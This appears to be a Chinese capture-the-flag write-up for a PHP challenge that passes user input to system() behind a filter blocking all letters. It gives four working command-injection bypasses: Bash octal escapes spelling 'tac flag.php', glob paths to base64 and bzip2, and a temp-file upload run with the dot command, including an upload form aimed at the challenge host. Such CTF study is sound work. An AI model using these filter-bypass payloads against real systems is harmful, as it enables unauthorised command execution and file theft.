<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
过滤了 ;
a-z
反引号
%
\x09
\x26
>
<
,写了一会我才发现貌似字母全给过滤了,那就只能使用数字编码来解这个题了(而且是bash能够识别并且转义的八进制数字编码)
解法一
举个例子
$'\143\141\164'
这是 Bash 中的八进制转义字符语法。$'...'
是 Bash 的一种特殊语法,允许在字符串中使用转义字符。
那么首先我们先ls一下康康目录
在cat一下flag.php
<font style="color:rgb(33, 37, 41);">$'\164\141\143' $'\146\154\141\147\56\160\150\160'</font>
这个在bash中会被解析为 <font style="color:rgb(33, 37, 41);">'tac'</font>``<font style="color:rgb(33, 37, 41);">'flag.php'</font>
和<font style="color:rgb(33, 37, 41);">tac flag.php</font>
是一样的,但是有的同学可能会编码成<font style="color:rgb(33, 37, 41);">$%27\164\141\143%27%20$%27\146\154\141\147\56\160\150\160%27</font>
,这个就是<font style="color:rgb(33, 37, 41);">'tac flag.php'</font>
在bash中就会被解析为一个单纯的字符串,命令不会被执行
解法二(存在巧合,可能是作者故意将base64放于bin目录下)
同样能够使用?通配符,区区过滤掉字母而已,既然数字没有过滤的话,可以使用base64
构造payload:
?c=/???/????64 ????.???
意思为:?c=/bin/base64 flag.php
解法三(存在巧合性,可能是作者故意将bzip放于bin目录下)
使用/usr/bin/bzip2 对文件进行压缩
构造payload:
?c=/???/???/????2 ????.???
意思为:?c=/usr/bin/bzip2 flag.php最后访问/flag.php.bz2即可
下载下来的压缩包中包含有flag.php
解法四(无字母rce临时文件上传)
原理
- x09 为 tab键。x26为 “ & ”。
- Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
- Linux 中
**<font style="color:rgb(216, 59, 100);background-color:rgb(249, 242, 244);">.</font>**
(点)命令,或者叫 period,它的作用和**<font style="color:rgb(216, 59, 100);background-color:rgb(249, 242, 244);">source</font>**
命令一样,就是用当前的 shell 执行一个文件中的命令。 - ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。
首先我们写一个可以文件上传的html文件
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="https://08305243-92cc-4fbc-a057-342a9d36cd6b.challenge.ctf.show/" method="post" enctype="multipart/form-data"><!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>
再随便上传一个文本文件
第一点/?c=.+/???/????????[@-[]``.
表示执行命令,因为没有过滤. 而点命令在linux中是source的缩写,通过点命令,我们可以在没有执行权限的情况下执行sh命令,+
表示空格,[@-[]
其实我挺好奇能不写成A-Z,但是尝试了页面不给回显(ps:之所以用[@-[]是因为直接用/???/?????????匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母。)
第二点 文本内容和下面分割线不能有空格不然会以为是换行不执行命令了
这里要提醒一句,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了